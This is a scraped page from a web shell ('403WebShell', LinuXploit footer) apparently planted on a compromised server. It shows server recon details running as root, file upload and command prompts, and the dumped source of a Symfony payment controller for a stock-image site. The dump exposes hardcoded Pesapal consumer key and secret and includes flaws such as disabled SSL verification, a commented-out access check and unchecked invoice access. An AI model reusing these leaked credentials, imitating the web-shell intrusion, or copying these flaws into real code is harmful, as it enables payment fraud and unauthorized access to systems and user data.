WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/Controller/MembershipController.php
<?php

namespace App\Controller;

use App\Entity\Cart;
use App\Entity\CartItem;
use App\Entity\Invoice;
use App\Entity\InvoiceItems;
use App\Entity\Stock;
use App\Entity\User;
use App\Form\StockType;
use App\Repository\CartItemRepository;
use App\Repository\InvoiceItemsRepository;
use App\Repository\InvoiceRepository;
use App\Repository\StockRecentViewsRepository;
use App\Repository\StockTypeRepository;
use App\Repository\UserRepository;
use App\Service\PdfHelper;
use App\Service\SMS;
use App\Util\Mailer;
use App\Util\OAuth\OAuthConsumer;
use App\Util\OAuth\OAuthRequest;
use App\Util\OAuth\OAuthSignatureMethod_HMAC_SHA1;
use Exception;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\BinaryFileResponse;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\RedirectResponse;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\ResponseHeaderBag;
use Symfony\Component\Routing\Annotation\Route;
use Symfony\Component\Routing\Generator\UrlGeneratorInterface;

/**
 * @Route("/membership", name="membershp_")
 */

class MembershipController extends AbstractController
{
    private  $consumer_key = 'vBBWsEIddLEo0qgFapfPHhtb6RB+zd7q';//Register a merchant account on
    private 	$consumer_secret = 'AYqAxfKahWEL5Kj5OlLZDGiBwO0=';
    /**
     * @Route("/", name="membership_index", methods={"GET"})
     */

    public function index(StockRecentViewsRepository $stockRecentViewsRepository)
    {
        //add membership role if
        /** @var User $current_user */
        $current_user = $this->getUser();
        if(!$current_user->hasRole('ROLE_MEMBER')){
            $current_user->addRole('ROLE_MEMBER');
            $entityManager = $this->getDoctrine()->getManager();
            $entityManager->persist($current_user);
            $entityManager->flush();
        }
        $cart = $this->getDetails()["cart"];
        $cartItems = $this->getDetails()["cartItems"];
        if($cart == null)
        {
            $cart = new Cart();
        }
        $invoiceItems =$this->getDetails()["invoiceItems"];
        $invoiceItemsCount = count($invoiceItems);
        $stocksRecent = $stockRecentViewsRepository->findBy(['user'=>$this->getUser()],['viewedAt'=>'DESC']);
        $response = new \Symfony\Component\HttpFoundation\Response();
        $response->headers->set("Vary","Accept");
        return $this->render('membership/index.html.twig', [
            'cart' => $cart,
            'controller_name' => 'MembershipController',
            'cartItems' => $cartItems,
            'invoiceItemsCount' => $invoiceItemsCount,
            'stockRecentViews' => $stocksRecent,
        ],$response);
    }

    /**
     * @Route("/clear/recent", name="clear_recent", options={"expose"=true})
     */
    public function clearAll(StockTypeRepository $stockTypeRepository, StockRecentViewsRepository $stockRecentViewsRepository)
    {

        $type = $_POST["type"];

        $message = null;

        if (isset($type) && !empty($type)){
            $stockType = $stockTypeRepository->findOneBy(["title" => $type]);

            if ($stockType){
                $em = $this->getDoctrine()->getManager();

                $recentStockViews = $stockRecentViewsRepository->findBy(["user"=>$this->getUser()]);

                foreach ($recentStockViews as $recentStockView){
                    if ($recentStockView->getStock()->getType() === $stockType){
                        $em->remove($recentStockView);
                    }
                }

                $em->flush();
                $message = "Successfully cleared recent ".$stockType->getTitle();

            }else{
                $message = "Type not found";
            }
        }else{
            $message = "Type not set";
        }

        return new JsonResponse(["message" => $message]);
    }

    /**
     * @Route("/offline", name="membership_offline", methods={"GET"})
     */

    public function offline()
    {

        $response = new \Symfony\Component\HttpFoundation\Response();
        $response->headers->set('Vary','Accept');

        return $this->render('membership/offline.html.twig', [
        ],$response);

    }

    /**
     * @Route("/online", name="member_authenticated")
     */
    public function online()
    {
        $response = new \Symfony\Component\HttpFoundation\Response();

        $response->headers->set('Vary','Accept');

        return new JsonResponse([
            'authenticated' => $this->getUser() !== null,
        ]);
    }

    public function getDetails()
    {
        $current_user = $this->getUser();
        $invoiceItems = $this->getDoctrine()->getRepository(InvoiceItems::class)->findByUser($current_user);
        $cartItems = null;
        $cart = null;
        if($current_user->getCart())
        {
            $cart = $current_user->getCart();
            $cartItems = $cart->getCartItems();
        }

        return ([
            "cart" => $cart,
            "cartItems" => $cartItems,
            "invoiceItems" => $invoiceItems
        ]);
    }


    /**
     * @Route("/download", name="download", methods={"GET"})
     * @param InvoiceRepository $invoiceRepository
     * @return Response
     */
    public function show(InvoiceItemsRepository $invoiceItemsRepository, StockRecentViewsRepository $stockRecentViewsRepository): Response
    {
        $invoiceItems = $this->getDetails()["invoiceItems"];
        $cartItems = $this->getDetails()["cartItems"];
        $cartItemsCount = 0;
        //dump($cartItems); die;
        if ($cartItems){
            $cartItemsCount = count($cartItems);;
        }
        $stocksRecent = $stockRecentViewsRepository->findBy(['user'=>$this->getUser()],['viewedAt'=>'DESC']);
        return $this->render('membership/download.html.twig', [
            'controller_name' => 'MembershipController',
            'invoiceItems' => $invoiceItems,
            'cartItemsCount' => $cartItemsCount,
            'stockRecentViews' => $stocksRecent,
        ]);

    }

    /**
     * @Route("/check-processed-invoices", name="check_processed_invoices", options={"expose"=true})
     * @param Request $request
     */
    function checkProcessedInvoices(Request $request, InvoiceRepository $invoiceRepository){
//        $this->denyAccessUnlessGranted('ROLE_USER');
        $invoices = $_POST['invoices'];
        $invoices = explode(',',$invoices);
        $refresh = false;
        foreach ($invoices as $invoice_id){
            $invoice = $invoiceRepository->find($invoice_id);
            if ($invoice->getStatus() == 'paid'){
                $refresh = true;
            }
        }
        return new Response($refresh ? 'refresh' : 'processing');
    }

    /**
     * @Route("/view-history", name="recently_viewed")
     */
    public function recentViews(StockRecentViewsRepository $stockRecentViewsRepository)
    {
        $cartItems = $this->getDetails()["cartItems"];
        $cartItemsCount = 0;
        //dump($cartItems); die;
        if ($cartItems){
            $cartItemsCount = count($cartItems);;
        }
        $invoiceItems =$this->getDetails()["invoiceItems"];
        $invoiceItemsCount = count($invoiceItems);
        $response = new \Symfony\Component\HttpFoundation\Response();
        $response->headers->set("Vary","Accept");
        $stocksRecent = $stockRecentViewsRepository->findBy(['user'=>$this->getUser()],['viewedAt'=>'DESC']);
        return $this->render('membership/viewed.html.twig', [
            'cartItemsCount' => $cartItemsCount,
            'stockRecentViews' => $stocksRecent,
            'invoiceItemsCount' => $invoiceItemsCount
        ]);
    }

    /**
     * @Route("/viewed", name="viewed", methods={"GET"})
     */
    public function viewed(): Response
    {
        return $this->render('membership/viewed.html.twig', [
            'controller_name' => 'MembershipController',
        ]);

    }

    /**
     * @Route("/callback/{id}", name="callback", methods={"GET"})
     * @param InvoiceRepository $invoiceRepository
     * @param Invoice $invoice
     * @param Mailer $mailer
     * @param SMS $SMS
     * @return Response
     * @throws Exception
     */
    public function callback(InvoiceRepository $invoiceRepository, Invoice $invoice, Mailer $mailer, SMS $SMS): Response
    {
        $em = $this->getDoctrine()->getManager();
        $statusrequestAPI = 'https://www.pesapal.com/api/querypaymentstatus';
        $consumer_key = $this->consumer_key;//Register a merchant account on
        //demo.pesapal.com and use the merchant key for testing.
        //When you are ready to go live make sure you change the key to the live account
        //registered on www.pesapal.com!
        $consumer_secret = $this->consumer_secret;
        $signature_method = new OAuthSignatureMethod_HMAC_SHA1();
        $pesapalTrackingId=$_GET['pesapal_transaction_tracking_id'];
        $pesapal_merchant_reference=$_GET['pesapal_merchant_reference'];
        $token = $params = NULL;
        $consumer = new OAuthConsumer($consumer_key, $consumer_secret);

        //get transaction status
        $request_status = OAuthRequest::from_consumer_and_token($consumer, $token, "GET", $statusrequestAPI, $params);
        $request_status->set_parameter("pesapal_merchant_reference", $pesapal_merchant_reference);
        $request_status->set_parameter("pesapal_transaction_tracking_id",$pesapalTrackingId);
        $request_status->sign_request($signature_method, $consumer, $token);

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $request_status);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        if(defined('CURL_PROXY_REQUIRED')) if (CURL_PROXY_REQUIRED == 'True')
        {
            $proxy_tunnel_flag = (defined('CURL_PROXY_TUNNEL_FLAG') && strtoupper(CURL_PROXY_TUNNEL_FLAG) == 'FALSE') ? false : true;
            curl_setopt ($ch, CURLOPT_HTTPPROXYTUNNEL, $proxy_tunnel_flag);
            curl_setopt ($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
            curl_setopt ($ch, CURLOPT_PROXY, CURL_PROXY_SERVER_DETAILS);
        }

        $response = curl_exec($ch);

        $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
        $raw_header  = substr($response, 0, $header_size - 4);
        $headerArray = explode("\r\n\r\n", $raw_header);
        $header      = $headerArray[count($headerArray) - 1];

        //transaction status
        $elements = preg_split("/=/",substr($response, $header_size));
        $status = $elements[1];

        curl_close ($ch);

        $invoice->setPesapalTrackingId($pesapalTrackingId);

        if($status==='COMPLETED'){
            if($invoice->getStatus()!='paid') {
                $invoice->setStatus('paid');
                $invoice_items = $invoice->getInvoiceItems();
                foreach ($invoice_items as $item)
                {
                    $stock_cont = $item->getStock()->getContributor();
                    //this should be tested to ascertain that it is working as expected!
                    if($stock_cont->getIsExclusive())
                    {
                        //is it licence renewal?
                        if(!empty($item->getStock()->getExclusiveLicenceHolder()))
                        {

                            if($item->getStock()->getExclusiveLicenceHolder() === $item->getInvoice()->getCreateBy())
                            {

                                if(!empty($item->getStock()->getHibernateEnd()))
                                {
                                    $previous_hibernation_end = $item->getStock()->getHibernateEnd();
                                }else{
                                    $previous_hibernation_end = new \DateTime();

                                }
                                // var_dump($previous_hibernation_end).PHP_EOL;
                                $interval = new \DateInterval('P'.(int)$item->getExclusiveLicenceDuration().'M');

                                // var_dump($previous_hibernation_end->add($interval));  die;

                                $new_hibernate_end = $previous_hibernation_end->add($interval);

                                $item->getStock()->setHibernateEndCloned($new_hibernate_end);

                                $em->persist($item->getStock());

                                $em->flush();

                            }
                        }else{
                            if($item->getExclusiveLicenceDuration()!=0 && $item->getExclusiveLicenceDuration()!= null)
                            {
                                $item->getStock()->setHibernated(1);
                                $item->getStock()->setHibernateStart(new \DateTime());
                                $today = new \DateTime();
                                $interval = new \DateInterval('P'.(int)$item->getExclusiveLicenceDuration().'M');
                                $item->getStock()->setHibernateEnd($today->add($interval));
                                $item->getStock()->setExclusiveLicenceHolder($item->getInvoice()->getCreateBy());
                                $em->persist($item->getStock());
                                $em->flush();
                            }

                        }

                    }
                    $mailer->sendContributorAfterSaleEmail($stock_cont,$item);

                    $type = $item->getStock()->getType()->getTitle()==='video' ? 'Video' : 'Image';

                    $msg="Bingo! ".$type ." by the ID no. ".$item->getStock()->getFormattedId()." that you submitted has been purchased at $".$item->getAmount().". Sign in to Sura Images to view your earnings.";
                    $SMS->send($stock_cont->getPhoneNumber(),$msg);

                    if(count($item->getStock()->getStockReleases())>0)
                    {
                        $releases = $item->getStock()->getStockReleases();
                        foreach ($releases as $release)
                        {
                            $model = $release->getTheRelease()->getModel();

                            $model_payout_percentage = $release->getPercentage()*0.01;

                            //dd($model_payout_percentage);

                            $amount = $item->getAmount();

                            //dd($model_payout_percentage);

                            //dd(((integer)$model_payout_percentage*0.01));

                            // dd(($amount*0.6));

                            $model_amount = 0.6*$amount;

                            $model_amount = $model_amount*$model_payout_percentage;
                            //dd($item->getFileSize());

                            $mailer->sendModelAfterSaleEmail($model->getUser(),$item->getStock(),$item->getAmount(),$item->getFileSize());

                            $msg="Bingo! ".$type." by the  ID no. ".$item->getStock()->getFormattedId()." that you appear in has been purchased at $".$item->getAmount().". Contact your photographer for payment or Sign In to view your earnings.";
                            if($model->getPhoneNumber()){
                                $SMS->send($model->getPhoneNumber(),$msg);
                            }

                        }
                    }

                }
                $this->addFlash('success', 'Order Successful');
            }

        }else if($status == 'PENDING'){
            $invoice->setStatus('processing');
        }  else if($status == 'FAILED')
        {
            $invoice->setStatus('failed');
        }
        $em->persist($invoice);
        $em->flush();

        return $this->redirectToRoute('membershp_download');

        //UPDATE YOUR DB TABLE WITH NEW STATUS FOR TRANSACTION WITH pesapal_transaction_tracking_id $pesapalTrackingId
        //this is for IPN
        /*            $resp="pesapal_notification_type=CHANGE&pesapal_transaction_tracking_id=$pesapalTrackingId&pesapal_merchant_reference=$pesapal_merchant_reference";
                    ob_start();
                    echo $resp;
                    ob_flush();
                    exit;*/



    }
    /**
     * @Route("/ipn/", name="ipn", methods={"GET"})
     * @param InvoiceRepository $invoiceRepository
     * @param Mailer $mailer
     * @param SMS $SMS
     * @return Response
     * @throws Exception
     */
    public function ipn(InvoiceRepository $invoiceRepository, Mailer $mailer, SMS $SMS): Response
    {

        if(isset($_GET['pesapal_notification_type'])) {
            $em = $this->getDoctrine()->getManager();
            $statusrequestAPI = 'https://www.pesapal.com/api/querypaymentstatus';
            $consumer_key = $this->consumer_key;//Register a merchant account on
            $consumer_secret = $this->consumer_secret;

// Parameters sent to you by PesaPal IPN
            $pesapalNotification = $_GET['pesapal_notification_type'];
            $pesapalTrackingId = $_GET['pesapal_transaction_tracking_id'];
            $pesapal_merchant_reference = $_GET['pesapal_merchant_reference'];
            $signature_method = new OAuthSignatureMethod_HMAC_SHA1();

            if ($pesapalNotification == "CHANGE" && $pesapalTrackingId != '') {
                $invoice = $invoiceRepository->find($_GET['pesapal_merchant_reference']);
                $token = $params = NULL;
                $consumer = new OAuthConsumer($consumer_key, $consumer_secret);

                //get transaction status
                $request_status = OAuthRequest::from_consumer_and_token($consumer, $token, "GET", $statusrequestAPI, $params);
                $request_status->set_parameter("pesapal_merchant_reference", $pesapal_merchant_reference);
                $request_status->set_parameter("pesapal_transaction_tracking_id", $pesapalTrackingId);
                $request_status->sign_request($signature_method, $consumer, $token);

                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $request_status);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_HEADER, 1);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                if (defined('CURL_PROXY_REQUIRED')) if (CURL_PROXY_REQUIRED == 'True') {
                    $proxy_tunnel_flag = (defined('CURL_PROXY_TUNNEL_FLAG') && strtoupper(CURL_PROXY_TUNNEL_FLAG) == 'FALSE') ? false : true;
                    curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, $proxy_tunnel_flag);
                    curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
                    curl_setopt($ch, CURLOPT_PROXY, CURL_PROXY_SERVER_DETAILS);
                }

                $response = curl_exec($ch);

                $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
                $raw_header = substr($response, 0, $header_size - 4);
                $headerArray = explode("\r\n\r\n", $raw_header);
                $header = $headerArray[count($headerArray) - 1];

                //transaction status
                $elements = preg_split("/=/", substr($response, $header_size));
                $status = $elements[1];

                curl_close($ch);

                if($status==='COMPLETED'){
                    if($invoice->getStatus()!='paid') {
                        $invoice->setStatus('paid');
                        $invoice_items = $invoice->getInvoiceItems();
                        foreach ($invoice_items as $item) {
                            $stock_cont = $item->getStock()->getContributor();
                            //this should be tested to ascertain that it is working as expected!
                            if ($stock_cont->getIsExclusive()) {
                                //is it licence renewal?
                                if (!empty($item->getStock()->getExclusiveLicenceHolder())) {

                                    if ($item->getStock()->getExclusiveLicenceHolder() === $item->getInvoice()->getCreateBy()) {

                                        if (!empty($item->getStock()->getHibernateEnd())) {
                                            $previous_hibernation_end = $item->getStock()->getHibernateEnd();
                                        } else {
                                            $previous_hibernation_end = new \DateTime();

                                        }
                                        // var_dump($previous_hibernation_end).PHP_EOL;
                                        $interval = new \DateInterval('P' . (int)$item->getExclusiveLicenceDuration() . 'M');

                                        // var_dump($previous_hibernation_end->add($interval));  die;

                                        $new_hibernate_end = $previous_hibernation_end->add($interval);

                                        $item->getStock()->setHibernateEndCloned($new_hibernate_end);

                                        $em->persist($item->getStock());

                                        $em->flush();

                                    }
                                } else {
                                    if ($item->getExclusiveLicenceDuration() != 0 && $item->getExclusiveLicenceDuration() != null) {
                                        $item->getStock()->setHibernated(1);
                                        $item->getStock()->setHibernateStart(new \DateTime());
                                        $today = new \DateTime();
                                        $interval = new \DateInterval('P' . (int)$item->getExclusiveLicenceDuration() . 'M');
                                        $item->getStock()->setHibernateEnd($today->add($interval));
                                        $item->getStock()->setExclusiveLicenceHolder($item->getInvoice()->getCreateBy());
                                        $em->persist($item->getStock());
                                        $em->flush();
                                    }

                                }

                            }
                            $mailer->sendContributorAfterSaleEmail($stock_cont, $item);

                            $type = $item->getStock()->getType()->getTitle() === 'video' ? 'Video' : 'Image';

                            $msg = "Bingo! " . $type . " by the ID no. " . $item->getStock()->getFormattedId() . " that you submitted has been purchased at $" . $item->getAmount() . ". Sign in to Sura Images to view your earnings.";
                            $SMS->send($stock_cont->getPhoneNumber(), $msg);

                            if (count($item->getStock()->getStockReleases()) > 0) {
                                $releases = $item->getStock()->getStockReleases();
                                foreach ($releases as $release) {
                                    $model = $release->getTheRelease()->getModel();

                                    $model_payout_percentage = $release->getPercentage() * 0.01;

                                    //dd($model_payout_percentage);

                                    $amount = $item->getAmount();

                                    //dd($model_payout_percentage);

                                    //dd(((integer)$model_payout_percentage*0.01));

                                    // dd(($amount*0.6));

                                    $model_amount = 0.6 * $amount;

                                    $model_amount = $model_amount * $model_payout_percentage;
                                    //dd($item->getFileSize());

                                    $mailer->sendModelAfterSaleEmail($model->getUser(), $item->getStock(), $item->getAmount(), $item->getFileSize());

                                    $msg = "Bingo! " . $type . " by the  ID no. " . $item->getStock()->getFormattedId() . " that you appear in has been purchased at $" . $item->getAmount() . ". Contact your photographer for payment or Sign In to view your earnings.";
                                    if($model->getPhoneNumber()){
                                        $SMS->send($model->getPhoneNumber(), $msg);
                                    }

                                }
                            }

                        }
                        $this->addFlash('success', 'Order Successful');
                        $em->persist($invoice);
                        $em->flush();
                        $resp = "pesapal_notification_type=$pesapalNotification&pesapal_transaction_tracking_id=$pesapalTrackingId&pesapal_merchant_reference=$pesapal_merchant_reference";
                        ob_start();
                        echo $resp;
                        ob_flush();
                        exit;
                    }else{
                        $resp = "pesapal_notification_type=$pesapalNotification&pesapal_transaction_tracking_id=$pesapalTrackingId&pesapal_merchant_reference=$pesapal_merchant_reference";
                        ob_start();
                        echo $resp;
                        ob_flush();
                        exit;
                    }
                }else if($status == 'PENDING'){
                   exit;
                }  else if($status == 'FAILED')
                {
                    exit;
                }


            }

        }
        else{
            return new Response(0);
        }
        return new Response(0);

    }

    /**
     * @Route("/checkout", name="checkout", methods={"GET"})
     * @param Request $request
     * @param InvoiceRepository $invoiceRepository
     * @param InvoiceItemsRepository $invoiceItemsRepository
     * @param null $invoice_id
     * @return Response
     * @throws Exception
     */
    public function checkout(Request $request, InvoiceRepository $invoiceRepository, InvoiceItemsRepository $invoiceItemsRepository): Response
    {
        $em = $this->getDoctrine()->getManager();
        /** @var User $currentUser */
        $currentUser=$this->getUser();
        $cart = $currentUser->getCart();
        //echo $request->query->get('invoice_id'); die;
        if($request->query->get('invoice_id')!=null)
        {
            $invoice = $invoiceRepository->find($request->query->get('invoice_id'));
           // echo $invoice->getTotal();die;

        }else{
            $invoice = new Invoice();
            $invoice->setPesapalTrackingId(null);
            $invoice->setPesapalStatus(null);

            $invoice->setStatus('pending');
            $invoice -> setTotal($cart->getTotal());
            $invoice->setCreateTime(new \DateTime);
            $invoice->setCreateBy($cart->getBuyer());
            $cart->setTotal(0);
            $em->persist($cart);
            $em->persist($invoice);
            $em->flush();

            $cart_items = $cart->getCartItems();
            foreach ($cart_items as $item)
            {
                $invoiceItem = new InvoiceItems();
                $invoiceItem -> setStock($item->getStock());
                $invoiceItem -> setFileSize($item->getSize());
                $invoiceItem -> setAmount($item->getAmount());
                $invoiceItem->setExclusiveLicenceDuration($item->getExclusiveLicenceDuration());
                $invoiceItem -> setCreatedAt(new \DateTime());
                $invoiceItem -> setLicenceType('Royalty Free');
                $invoiceItem -> setInvoice($invoice);
                $em->persist($invoiceItem);
                $em->remove($item);
                $em->flush();

            }
        }

        //$invoice->getInvoiceItems returns null; very weird

        $invoiceItems = $invoiceItemsRepository->findBy(['Invoice'=>$invoice]);

        $iframe_src= $this->pesapal($invoice);

        return $this->render('membership/checkout.html.twig', [
            'iframe_src' => $iframe_src,
            'invoice' => $invoice,
            'invoice_items' => $invoiceItems
        ]);

    }

    public function pesapal(Invoice $invoice){
        //pesapal params
        $token = $params = NULL;

        /*
        PesaPal Sandbox is at https://demo.pesapal.com. Use this to test your developement and
        when you are ready to go live change to https://www.pesapal.com.
        */
        $consumer_key = $this->consumer_key;//Register a merchant account on
        //demo.pesapal.com and use the merchant key for testing.
        //When you are ready to go live make sure you change the key to the live account
        //registered on www.pesapal.com!
        $consumer_secret = $this->consumer_secret;// Use the secret from your test
        //account on demo.pesapal.com. When you are ready to go live make sure you
        //change the secret to the live account registered on www.pesapal.com!
        $signature_method = new OAuthSignatureMethod_HMAC_SHA1();
        $iframelink = 'https://www.pesapal.com/api/PostPesapalDirectOrderV4';//change to
        //https://www.pesapal.com/API/PostPesapalDirectOrderV4 when you are ready to go live!

//get form details
        $amount = $invoice->getTotal();
        // $amount = 1;
        $amount = number_format($amount,2);//format amount to 2 decimal places
        // $cur='KES';
        $cur='USD';
        $desc = 'purchase on suraimages.com';
        $type = 'MERCHANT'; //default value = MERCHANT
        $reference = $invoice->getId();//unique order id of the transaction, generated by merchant
        $first_name = $invoice->getCreateBy()->getFirstName();
        $last_name = $invoice->getCreateBy()->getLastName();
        $email =$invoice->getCreateBy()->getEmail();
        $phonenumber = $invoice->getCreateBy()->getPhoneNumber();//ONE of email or phonenumber is required
        $url = $this->generateUrl('membershp_callback', array('id'=>$invoice->getId()), UrlGeneratorInterface::ABSOLUTE_URL);

        $callback_url = $url; //redirect url, the page that will handle the response from pesapal.

        $post_xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?><PesapalDirectOrderInfo xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" Amount=\"".$amount."\" Currency=\"".$cur."\" Description=\"".$desc."\" Type=\"".$type."\" Reference=\"".$reference."\" FirstName=\"".$first_name."\" LastName=\"".$last_name."\" Email=\"".$email."\" PhoneNumber=\"".$phonenumber."\" xmlns=\"http://www.pesapal.com\" />";
        $post_xml = htmlentities($post_xml);

        $consumer = new OAuthConsumer($consumer_key, $consumer_secret);

//post transaction to pesapal
        $iframe_src = OAuthRequest::from_consumer_and_token($consumer, $token, "GET", $iframelink, $params);
        $iframe_src->set_parameter("oauth_callback", $callback_url);
        $iframe_src->set_parameter("pesapal_request_data", $post_xml);
        $iframe_src->sign_request($signature_method, $consumer, $token);

        return $iframe_src;
    }

    /**
     * @Route("/download-preview/{id}", name="member_download_preview",)
     * @param Stock $stock
     * @return BinaryFileResponse
     */
    public function downloadPreview( Stock $stock): BinaryFileResponse
    {
        $file = new \SplFileInfo($this->getParameter('public_directory').'/uploads/stock/'.$stock->getPreviewName());
        $fileName = "suraimages_preview_".$stock->getFormattedId()."_".ucfirst($stock->getTitle()).".".$file->getExtension();
        $response = new BinaryFileResponse($this->getParameter('public_directory').'/uploads/stock/'.$stock->getPreviewName());
        $response->setContentDisposition(ResponseHeaderBag::DISPOSITION_ATTACHMENT, $fileName);
        return $response;
    }

    /**
     * @Route("/{id}/downloads/{invoice_item_id}/", name="member_downloads",)
     * @param Stock $stock
     * @param $invoice_item_id
     * @param InvoiceItemsRepository $invoiceItemsRepository
     * @return BinaryFileResponse
     */
    public function download( Stock $stock, $invoice_item_id, InvoiceItemsRepository $invoiceItemsRepository): BinaryFileResponse
    {
        $invoice_item = $invoiceItemsRepository->find($invoice_item_id);

        $file_size = strtolower($invoice_item->getFileSize());
        $file_path = $stock->getFilePath();
        if($file_size==='small')
        {
            $file_path = $stock->getSmallImagePath();
        }else if($file_size==='large')
        {
            $file_path = $stock->getLargeImagePath();
        }else{
            $file_path = $stock->getFilePath();
        }
        $response = new BinaryFileResponse($file_path);

        $response->setContentDisposition(ResponseHeaderBag::DISPOSITION_ATTACHMENT);


        $invoice_item->setDownloaded(1);
        //send email to

        $em = $this->getDoctrine()->getManager();

        $em->persist($invoice_item);

        $em->flush();

        return $response;


    }

    /**
     * @Route("/cart-item-remove", name="cart_remove_item")
     * @param Request $request
     * @param CartItemRepository $cartItemRepository
     * @return JsonResponse
     */
    public function removeCartItem(Request $request, CartItemRepository $cartItemRepository)
    {
        if ($request->isXmlHttpRequest()){
            $cartItem = $cartItemRepository->findOneBy(["id"=>$request->get("id")]);
            $em = $this->getDoctrine()->getManager();
            $cart = $cartItem->getCart();
            $allCartItems = $cart->getCartItems();
            $count = count($allCartItems);
            $amount = $cartItem->getAmount();
            $em->remove($cartItem);
            $cart->setTotal($cart->getTotal() - $amount);
            /*if ($count === 1){
                $em->remove($cart);
            }*/
            $em->flush();
            $message = 1;
        }else{
            $message = 0;
        }
        return new JsonResponse(['message'=>$message]);
    }

    /**
     * @Route("/get-quote", name="get_quote", methods={"POST"})
     * @param Request $request
     * @return Response
     */
    public function getQuote(Request $request, Mailer $mailer, PdfHelper $pdfHelper)
    {
        if ($request->isXmlHttpRequest()){
            $mails = $request->request->get("emails");
            /**@var Cart $cart*/
            $cart = $this->getDetails()['cart'];
            $url = $this->generateUrl("membershp_membership_index", array(), UrlGeneratorInterface::ABSOLUTE_URL);
            $view = 'email/quote/quote.html.twig';
//            $data = array(
//                'title' => "Shopping basket details",
//                'cart' => $cart,
//                'mails' => implode(', ',$mails)
//            );
//            $attachment = $pdfHelper->generateQuote($view, $data);
            $data = array(
                'title' => "Shopping basket details",
                'cart' => $cart,
                'user' => $this->getUser(),
                'mails' => implode(', ',$mails)
            );

            $attachment = $pdfHelper->make($data,$cart->getId().'pdf');
            $mailer->sendBasketQuote($cart, $mails, $url, $attachment);

            return new JsonResponse([
                'message'=>"Your shopping basket quote has been sent"
            ]);
        }
    }


    /**
     * @Route("/qoute/preview/mail", name="quote_preview_mail")
     */
    public function quote_preview_mail(Request $request)
    {
        /**
         * @var $user User
         */
        $user = $this->getUser();
        $cart = $user->getCart();

            return $this->render('email/basket_quote.html.twig',[
            'url' => $request->getUri(),
                'cart' => $cart
        ]);
    }

    /**
     * @Route("/qoute/footer/", name="quote_footer")
     */
    public function quote_footer()
    {

        return $this->render('email/quote/footer.html.twig',[

        ]);
    }
    /**
     * @Route("/qoute/header/", name="quote_header")
     */
    public function quote_header()
    {

        return $this->render('email/quote/header.html.twig',[

        ]);
    }
    /**
     * @Route("/qoute/preview/", name="quote_preview")
     */
    public function quote_preview(PdfHelper $pdfHelper,UserRepository $userRepository)
    {
        /**
         * @var $user User
         */
//        $user = $this->getUser();
        $user= $userRepository->find(1701);
        $cart = $user->getCart();
        $data = array(
            'title' => "Shopping basket details",
            'cart' => $cart,
            'user' => $user,
            'mails' => 'test@mail.com'
        );

        $attachment = $pdfHelper->make($data,$cart->getId().'pdf');
//
//        $this->file($attachment,"basket.pdf");
//        file_put_contents('basket.pdf',$attachment);
        return $this->file($attachment,"basket.pdf", ResponseHeaderBag::DISPOSITION_INLINE);

    }
    /**
     * @Route("/qoute/body/{id}", name="quote_body")
     * @param User $user
     * @return Response
     */
    public function quote_body(User $user)
    {

        $cart = $user->getCart();
        $data = array(
            'title' => "Shopping basket details",
            'cart' => $cart,
            'user' => $user,
            'mails' => 'test@mail.com'
        );
        return $this->render('email/quote/quote.html.twig',[
            'data' => $data,
            'user' => $user,
        ]);
    }


}

Youez - 2016 - github.com/yon3zu
LinuXploit